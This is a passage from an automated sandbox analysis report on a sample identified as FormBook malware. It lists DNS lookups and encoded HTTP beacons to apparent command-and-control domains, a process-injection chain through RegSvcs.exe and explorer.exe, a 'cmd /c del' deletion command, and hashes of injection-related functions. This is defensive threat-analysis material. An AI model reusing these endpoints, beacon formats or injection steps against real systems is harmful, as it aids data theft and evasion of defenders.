Sep 15, 2021 10:40:44.972348928 CEST	192.168.2.7	8.8.8.8	0x14a0	Standard query (0)	www.438451.com	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:50.800831079 CEST	192.168.2.7	8.8.8.8	0xc584	Standard query (0)	www.fanpaixiu.xyz	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 15, 2021 10:40:17.801754951 CEST	8.8.8.8	192.168.2.7	0x3f3c	Server failure (2)	www.ice-lemon.pro	none	none	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:22.864661932 CEST	8.8.8.8	192.168.2.7	0x424a	No error (0)	www.indianadogeavaxsite.site	domains.readymag.com		CNAME (Canonical name)	IN (0x0001)
Sep 15, 2021 10:40:22.864661932 CEST	8.8.8.8	192.168.2.7	0x424a	No error (0)	domains.readymag.com		54.194.41.141	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:29.799778938 CEST	8.8.8.8	192.168.2.7	0x4193	Server failure (2)	www.pierrot-bros.com	none	none	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:30.778945923 CEST	8.8.8.8	192.168.2.7	0x4193	Server failure (2)	www.pierrot-bros.com	none	none	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:34.879271030 CEST	8.8.8.8	192.168.2.7	0x5287	No error (0)	www.munortiete.com		172.67.147.111	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:34.879271030 CEST	8.8.8.8	192.168.2.7	0x5287	No error (0)	www.munortiete.com		104.21.71.167	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:45.377986908 CEST	8.8.8.8	192.168.2.7	0x14a0	No error (0)	www.438451.com		160.202.170.147	A (IP address)	IN (0x0001)
Sep 15, 2021 10:40:51.148735046 CEST	8.8.8.8	192.168.2.7	0xc584	Name error (3)	www.fanpaixiu.xyz	none	none	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.indianadogeavaxsite.site

www.munortiete.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.7	49809	54.194.41.141	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 10:40:22.916647911 CEST	6201	OUT	GET /t75f/?IL3h=sM7Ty9CQqazxDsp1L2wp1X0yz6j8iZQMubl0W4soZskD9oW6nOghj7d5yalvsy0iKmR0GSiRBw==&_hN0=5jFT8RbH3tHLZn HTTP/1.1 Host: www.indianadogeavaxsite.site Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 15, 2021 10:40:22.963691950 CEST	6201	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 15 Sep 2021 08:40:22 GMT Content-Type: text/html Content-Length: 118 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.7	49810	172.67.147.111	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Sep 15, 2021 10:40:34.909507036 CEST	6203	OUT	GET /t75f/?IL3h=1LVEWTKjgk7dQQTcgX7ekf6vWGvALEiRfuym9xfNfV6ZlhpaQ60NuXtsMiMogZeeqS9jy4XPVA==&_hN0=5jFT8RbH3tHLZn HTTP/1.1 Host: www.munortiete.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Sep 15, 2021 10:40:34.941842079 CEST	6204	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 15 Sep 2021 08:40:34 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Wed, 15 Sep 2021 09:40:34 GMT Location: https://www.munortiete.com/t75f/?IL3h=1LVEWTKjgk7dQQTcgX7ekf6vWGvALEiRfuym9xfNfV6ZlhpaQ60NuXtsMiMogZeeqS9jy4XPVA==&_hN0=5jFT8RbH3tHLZn Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=tf19gfgwC210LIACe1vV29u1H4wndpzEQechmp6W8NM%2F%2BBin2oGR1mlmAEeHy867OF7b8VWH9BEaP2fn4MX%2Bi29fIOkrR25WYxU0SDHleBOTosji4XBUZ%2Bk08tOt9qjCq1Gz6as%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 68f08d124ee7d6b5-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: TPJX2QwEdXs5sTV.exe PID: 5056 Parent PID: 5424

General

Start time:	10:38:35
Start date:	15/09/2021
Path:	C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\TPJX2QwEdXs5sTV.exe'
Imagebase:	0xcd0000
File size:	671232 bytes
MD5 hash:	CE556CE97EA23CBC2940F2AAD45D468F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 00000001.00000002.281632826.0000000002FA1000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.282361714.0000000003FA9000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.282500066.000000000409E000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: RegSvcs.exe PID: 5192 Parent PID: 5056

General

Start time:	10:38:49
Start date:	15/09/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x410000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: RegSvcs.exe PID: 4036 Parent PID: 5056

General

Start time:	10:38:50
Start date:	15/09/2021
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Imagebase:	0x470000
File size:	45152 bytes
MD5 hash:	2867A3817C9245F7CF518524DFD18F28
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.390262569.00000000009D0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.389976608.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000006.00000002.390330954.0000000000A20000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: explorer.exe PID: 3292 Parent PID: 4036

General

Start time:	10:38:55
Start date:	15/09/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff662bf0000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000000.342627286.000000000E077000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000008.00000000.321761934.000000000E077000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 3608 Parent PID: 4036

General

Start time:	10:39:43
Start date:	15/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\cmd.exe
Imagebase:	0x870000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000017.00000002.514970004.0000000002D90000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000017.00000002.512368731.0000000000940000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000017.00000002.513972990.00000000029D0000.00000040.00020000.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 4572 Parent PID: 3608

General

Start time:	10:39:45
Start date:	15/09/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe'
Imagebase:	0x870000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4116 Parent PID: 4572

General

Start time:	10:39:46
Start date:	15/09/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff774ee0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: TPJX2QwEdXs5sTV.exe PID: 5056 Parent PID: 5424 TPJX2QwEdXs5sTV.exeCOMMON

Executed Functions

Function 04FA4190, Relevance: .3, Instructions: 317COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 339a23923a8b4ce785711a022e132634fc440ce5f02c69444aafb2291954e9dd
Instruction ID: 6eef235a74bb37dbd6de37868bc7ee909df85ab3b2ef20d04485fbffd7ffab87
Opcode Fuzzy Hash: 339a23923a8b4ce785711a022e132634fc440ce5f02c69444aafb2291954e9dd
Instruction Fuzzy Hash: FEC1E6B1E00215CFCB14CFA9D484AAEB7F6BF84304F158569E815AB261DB71FC52CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 04FA2059, Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c52d2d7e6306ce86d8e620070529b12cbbc297f5eb45242d5ad9c2c98a2982eb
Instruction ID: 8f6fbbd908d198436d64cf4b1693f8a838b24e37203cc83a1c690080697e0c83
Opcode Fuzzy Hash: c52d2d7e6306ce86d8e620070529b12cbbc297f5eb45242d5ad9c2c98a2982eb
Instruction Fuzzy Hash: AE9149B1F09208DFDB08CFA5D58069EFBF2EF89310F15946AD406A7354EB34A852CB14

Uniqueness

Uniqueness Score: -1.00%

Function 04FA2068, Relevance: .2, Instructions: 228COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5beeb786ed56c8ac18db2cedf6f74d4fa394964641294d0ce28982f2334e989c
Instruction ID: 599d576eb039eee1c0e2cc5d88bd9f5b32ae611215814ee8e74365c523e287a8
Opcode Fuzzy Hash: 5beeb786ed56c8ac18db2cedf6f74d4fa394964641294d0ce28982f2334e989c
Instruction Fuzzy Hash: ED9139B1F09208DFDB08CFA5D5846AEFBF6EF89310F15A469D406A7354EB34A852CB14

Uniqueness

Uniqueness Score: -1.00%

Function 04FA0D24, Relevance: 1.7, APIs: 1, Instructions: 246processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04FA0F66

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: af74e914190f305f43ebe97081130a9d653c5aa34d52c87766d2fd6778346ac5
Instruction ID: 4a5beb3e30bff4d35544dc782b98b4aed9d0b80ffaf9a01ababdd614057aac52
Opcode Fuzzy Hash: af74e914190f305f43ebe97081130a9d653c5aa34d52c87766d2fd6778346ac5
Instruction Fuzzy Hash: 32A17F71D00229DFDB10CFA4D8817EEBBB2FF48314F048569E809A7240DB74A996CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04FA0D30, Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 04FA0F66

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 452c721127d70d1203b030190d5fc8a48695c8b69dd3413b2e593c7549935511
Instruction ID: 712cb8b14187d3b41d54bdeeb452b9a5405d0514c3c211650bd24f4ad61e1425
Opcode Fuzzy Hash: 452c721127d70d1203b030190d5fc8a48695c8b69dd3413b2e593c7549935511
Instruction Fuzzy Hash: 3F915F71D00229DFDB10CFA4D8817EEBBB2FF48314F058569E809A7240DB74A996CF91

Uniqueness

Uniqueness Score: -1.00%

Function 054C9408, Relevance: 1.7, APIs: 1, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 6d805e29d517ddcf660277d78718d0f18fa987d04108353da97f8efcf3f95ac7
Instruction ID: 67a62703dc1abff4c63ccd20c3aeb0f2ecd3bb841397626278202639dfb34273
Opcode Fuzzy Hash: 6d805e29d517ddcf660277d78718d0f18fa987d04108353da97f8efcf3f95ac7
Instruction Fuzzy Hash: 61710374A00B059FD764DF6AD4447AABBF6BF88304F108AAED44AD7B40D734E8058B91

Uniqueness

Uniqueness Score: -1.00%

Function 054CFD4C, Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 054CFE6A

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 0119484bcdfe6c6b3f08680dcff58e011375a84feb728bb809217d2262c717da
Instruction ID: e637ed2779ae370b440e2128d63fdd22c25c0d0457820b73320f622bf9760b09
Opcode Fuzzy Hash: 0119484bcdfe6c6b3f08680dcff58e011375a84feb728bb809217d2262c717da
Instruction Fuzzy Hash: 4551EFB5C00209AFDB14CF99C884ADEBFB6BF88314F24816AE419AB210D775A945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 054CD994, Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 054CFE6A

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: f3af04635e198589a3b0e8761686cc2c8c18ed30ac3e3300cf00e69cc7cf0d8e
Instruction ID: 475db76189a3f6cf89ceecde381cf19ecb64e7e1562d9ca4571d4059aaadb99d
Opcode Fuzzy Hash: f3af04635e198589a3b0e8761686cc2c8c18ed30ac3e3300cf00e69cc7cf0d8e
Instruction Fuzzy Hash: DD51B2B5D00308AFDB14CFA9C884ADEBFB6BF89314F24816AE415AB211D7749945CF90

Uniqueness

Uniqueness Score: -1.00%

Function 054C5344, Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 054C5401

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 25678c65c0a2b5f9e25929461fdf4cec1f3b06750d637b141f9008830ade1315
Instruction ID: 4561bc2fc514047720e122a07669ba2e09d426ae2f1b9086b4b2f93e63f71fab
Opcode Fuzzy Hash: 25678c65c0a2b5f9e25929461fdf4cec1f3b06750d637b141f9008830ade1315
Instruction Fuzzy Hash: 4941F575C00618CBDB24DFA5C8847DEBBF6BF49304F2485AAD408AB251DB756946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 054C3E08, Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 054C5401

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 26a1d5841f72fd140c37d14187f29b926e2d96357cb8f4ccc2938a17cb2f42ac
Instruction ID: c361b4a0f9c499dde4526af7334f30b0f04cbf433dd7835e13730487f8bfa065
Opcode Fuzzy Hash: 26a1d5841f72fd140c37d14187f29b926e2d96357cb8f4ccc2938a17cb2f42ac
Instruction Fuzzy Hash: 69410174C0061CCBDB20DFA9C8847DEBBB6BF89304F2085AAD409AB251DB756946CF90

Uniqueness

Uniqueness Score: -1.00%

Function 04FA09A8, Relevance: 1.6, APIs: 1, Instructions: 82memoryCOMMON

Download Yara Rule

APIs

VirtualAllocEx.KERNELBASE(?,?,?,?,?), ref: 04FA0A56

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 41721d0ada0d68919415807396cd3695ede74cc91fdde75300a21689de172790
Instruction ID: 5e8e8862fd832b9aaa3d832fb5959a2917e30f9a6bcbb3920861b2b09308a6ee
Opcode Fuzzy Hash: 41721d0ada0d68919415807396cd3695ede74cc91fdde75300a21689de172790
Instruction Fuzzy Hash: 2621EDB2D002088FDB01CFA9D8846DFFBF6EF88314F09881AD055A7601CB389917CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04FA0AA2, Relevance: 1.6, APIs: 1, Instructions: 71injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04FA0B38

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 730f4792b7072867fa755e5af222c434ae9559bbf2b846318e92ef2b81a35e10
Instruction ID: 7c1cb96942e84f0a4a8243a43f511ed53d92eb133cec502def6816d22029fe73
Opcode Fuzzy Hash: 730f4792b7072867fa755e5af222c434ae9559bbf2b846318e92ef2b81a35e10
Instruction Fuzzy Hash: BF215AB59003099FCF10CFA9C884BDEBBF5FF48314F14842AE919A7241C778A955CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 04FA0AA8, Relevance: 1.6, APIs: 1, Instructions: 69injectionCOMMON

Download Yara Rule

APIs

WriteProcessMemory.KERNELBASE(?,?,00000000,?,?), ref: 04FA0B38

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: MemoryProcessWrite
String ID:
API String ID: 3559483778-0
Opcode ID: 303c0e51c021301fb2dda6e2605d87c0a269bd1ba0f5ac28b7b27004e8a76205
Instruction ID: a1aadb224cf80214fb23e7b9dbde8c75f5e4bc48c66cf636b5500ab92a198d56
Opcode Fuzzy Hash: 303c0e51c021301fb2dda6e2605d87c0a269bd1ba0f5ac28b7b27004e8a76205
Instruction Fuzzy Hash: EA212AB59003099FCF10CFA9D984BDEBBF5FF48314F10842AE919A7240D778A955CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 04FA02AA, Relevance: 1.6, APIs: 1, Instructions: 65threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 04FA032E

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: d436c5167365c6c7a3d6880ba5e7db2d8f6b2498c1b63989a86c7cfbd7769d08
Instruction ID: 43f97a8040297edc45bec668952e489949f3c843cbd2158c877e804b3c83ca53
Opcode Fuzzy Hash: d436c5167365c6c7a3d6880ba5e7db2d8f6b2498c1b63989a86c7cfbd7769d08
Instruction Fuzzy Hash: 282137B19003099FDB10DFAAC484BEEBBF5AF48214F14842AD419A7240CB78A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04FA0B92, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04FA0C18

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
Opcode ID: b9cb1c41e4ee7940fc67435930e4c0814c3d30ac89384e4e55718f00b792fedb
Instruction ID: 48f9c710d042ebd20f9b90eb4e8f29adfdd9947d31da6eb655043a1841d088cd
Opcode Fuzzy Hash: b9cb1c41e4ee7940fc67435930e4c0814c3d30ac89384e4e55718f00b792fedb
Instruction Fuzzy Hash: 57211BB19002199FCB10DFA9D844BDEFBF5FF48314F548429E519A7240C774A955CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 054CA174, Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,054CB8DE,?,?,?,?,?), ref: 054CBDA7

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: b7092fd078a19b07ff8680079e12500f75b02c2e8f0e2deac8e15e33dd37aeea
Instruction ID: 5048bb8980a684a24165ba666a4ec9edbaaab5fd301be79f71d0fe7d8aa6ef0a
Opcode Fuzzy Hash: b7092fd078a19b07ff8680079e12500f75b02c2e8f0e2deac8e15e33dd37aeea
Instruction Fuzzy Hash: 8921D4B5900208EFDB50CFAAD484AEEBFF9FB48310F14845AE915A3310D378A954CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 054CBD1A, Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,054CB8DE,?,?,?,?,?), ref: 054CBDA7

Memory Dump Source

Source File: 00000001.00000002.282818007.00000000054C0000.00000040.00000001.sdmp, Offset: 054C0000, based on PE: false

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: d6567c5b3e0006f0c91574c15c732d4869e66c1790ee60f3b9aed639dbb3379c
Instruction ID: 129259f24ea175d017caa67165464e20f6691e3afed3b18a39d8690dae0407f0
Opcode Fuzzy Hash: d6567c5b3e0006f0c91574c15c732d4869e66c1790ee60f3b9aed639dbb3379c
Instruction Fuzzy Hash: B121E5B59002089FDB10CFAAD884ADEFFF9FB49314F14845AE914A3310D378A954CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 04FA02B0, Relevance: 1.6, APIs: 1, Instructions: 63threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,00000000), ref: 04FA032E

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 196d6823c9897185fba4e45ba2901ee9a97d0d087bfdd6cb75e6cf4e9e081614
Instruction ID: d21a4dc0bff3154e9c494c71db579168de548e527ad8da871525be6626c0716b
Opcode Fuzzy Hash: 196d6823c9897185fba4e45ba2901ee9a97d0d087bfdd6cb75e6cf4e9e081614
Instruction Fuzzy Hash: 9E2107B19003099FDB10DFAAC4847EEBBF5AF49214F14842AD419A7240DB78A955CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 04FA0B98, Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNELBASE(?,?,?,?,?), ref: 04FA0C18

Memory Dump Source

Source File: 00000001.00000002.282694814.0000000004FA0000.00000040.00000001.sdmp, Offset: 04FA0000, based on PE: false

Similarity

API ID: MemoryProcessRead
String ID:
API String ID: 1726664587-0
